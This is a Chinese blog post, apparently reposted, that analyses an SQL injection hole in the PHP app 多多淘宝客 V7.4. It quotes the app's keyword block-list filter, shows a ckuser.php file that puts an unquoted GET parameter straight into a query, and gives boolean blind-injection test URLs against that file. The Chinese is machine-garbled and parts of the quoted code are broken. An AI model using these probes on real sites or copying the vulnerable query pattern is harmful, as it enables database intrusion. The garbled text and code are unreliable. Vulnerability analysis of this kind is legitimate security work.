多多淘宝客V7.4绕过防注入及一个注入缝隙的剖析脚本之家头条 - 超凡娱乐

多多淘宝客V7.4绕过防注入及一个注入缝隙的剖析脚本之家头条

2019-01-31 07:52:18 | 作者: 星鹏 | 标签: 代码,程序,字符 | 浏览: 5011

因为程序是开源程序
并下载其程序看了一番。其实程序员仍是有一点安全意识的:
防注入代码:

仿制代码代码如下:
//要过滤的不合法字符
$ArrFiltrate = array (
"#union#i",
"#<script#i",
"#/script>#i",
"#select#i",
"#alert#i",
"#javascript#i",
"#<table#i",
"#<td#i",
"#\"#i",
"#\#i",
"#delete#i",
"#vbscript#i",
"#applet#i",
"#frame#i",
"#<div#i",
"#update#i",
"i",
"#union #i",
"#select #i",
"#delete #i",
"#update #i",
"#and #i",
"#;#i",
"#update#i"
);
$replacements=;
function FunStringExist(&$array,$ArrFiltrate,$replacements)
{
if (is_array($array))
{
foreach ($array as $key => $value)
{
if (is_array($value))
FunStringExist($array[$key],$ArrFiltrate,$replacements);
else
$array[$key] = preg_replace($ArrFiltrate, $replacements, $value);
}
}
}
FunStringExist($_GET,$ArrFiltrate,$replacements);
FunStringExist($_POST,$ArrFiltrate,$replacements);

这段代码多少仍是有瑕疵的、只过滤www.jb51.net get post 咱们只需找调用request的当地
别一个文件并没有调用防注入程序,导致字符注入、但受gpc影响

仿制代码代码如下:
header("Content-Type:text/html;charset=utf-8");
include "../comm/config.php";
$uname = trim($_GET["name"]);
if($uname){
echo "true";
}else{
$con = @mysql_connect("$dbserver","$dbuser","$dbpass" )or die(ERR_DB);
mysql_select_db("$dbname",$con)or die("can not choose the dbname!");
$query="select * from ".$BIAOTOU."user where ddusername=".$uname."";
mysql_query("set names utf8");
$res=mysql_query($query);
if(mysql_num_rows($res)!=0)
{echo "true";}
else
{echo "false";}
}

首要注册一个用户.让程序能过判别
ckuser.php?name=maxadd and 1=1 and =
回来true
ckuser.php?name=maxadd and 1=2 and =
回来false
版权声明
本文来源于网络,版权归原作者所有,其内容与观点不代表超凡娱乐立场。转载文章仅为传播更有价值的信息,如采编人员采编有误或者版权原因,请与我们联系,我们核实后立即修改或删除。

猜您喜欢的文章